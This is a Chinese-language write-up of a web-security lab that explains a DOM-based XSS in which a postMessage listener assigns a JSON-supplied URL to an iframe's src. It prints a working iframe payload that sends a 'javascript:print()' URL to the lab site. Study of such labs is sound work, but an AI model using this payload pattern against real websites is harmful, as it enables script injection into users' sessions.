# DOM-based Lab3 這題是結合了 postMessage + JSON.parse + iframe.src = javascript: 的 DOM-based XSS 利用。 所以一樣先進入網站。 ![image](https://hackmd.io/_uploads/SyuLgW0Vxg.png) 可以在原始碼發現下列線索: ```html <script> window.addEventListener('message', function(e) { var iframe = document.createElement('iframe'), ACMEplayer = {element: iframe}, d; document.body.appendChild(iframe); try { d = JSON.parse(e.data); } catch(e) { return; } switch(d.type) { case "page-load": ACMEplayer.element.scrollIntoView(); break; case "load-channel": ACMEplayer.element.src = d.url; break; case "player-height-changed": ACMEplayer.element.style.width = d.width + "px"; ACMEplayer.element.style.height = d.height + "px"; break; } }, false); </script> ``` 這代表: - 每收到一個 message,就動態新建一個 iframe 並加到頁面裡。 - 對 e.data 用 JSON.parse 嘗試解析,失敗就 return。 根據 type 執行不同操作: | type | 動作 | | -------- | -------- | | "page-load" | iframe 捲動到可視區域 | | "load-channel" | 把 iframe.src 指定成 d.url | | "player-height-changed" | 調整 iframe 大小 | 攻擊用法: `load-channel` 會直接把` d.url` 賦值給 `iframe.src`,沒有任何安全檢查。 所以只要能 postMessage 送一個 JSON,裡面 type 是 `load-channel`,url 是 `javascript:print()` 之類的 XSS payload,就能彈出列印對話框。 因此: ```html <iframe src=https://0a5300b403aa7c7682f90697004200d5.web-security-academy.net/ onload='this.contentWindow.postMessage("{\"type\":\"load-channel\",\"url\":\"javascript:print()\"}","*")'> ``` `"{\"type\":\"load-channel\",\"url\":\"javascript:print()\"}"` 這是一段 JSON 字串,裡面包含兩個 key: ``` { "type": "load-channel", "url": "javascript:print()" } ``` - type: "load-channel":這會觸發目標頁面中 switch 裡面的 case "load-channel"。 - url: "javascript:print()":當目標頁面的程式碼把這個值賦給 iframe.src 時,就變成: ``` iframe.src = "javascript:print()" ``` → 會執行 print()(等於彈出列印對話框) ` "*" ` 是 targetOrigin,表示訊息可以發送給任何來源的頁面(不做安全限制)。 目標網站裡的程式碼會這樣處理訊息: ``` d = JSON.parse(e.data); if (d.type === "load-channel") { ACMEplayer.element.src = d.url; } ``` → 它直接把 外部來的資料套用到 DOM 裡,而且居然還接受 javascript: URL,這就是 DOM-based XSS 的經典漏洞。 ![image](https://hackmd.io/_uploads/BJ-I3WCVgl.png) ---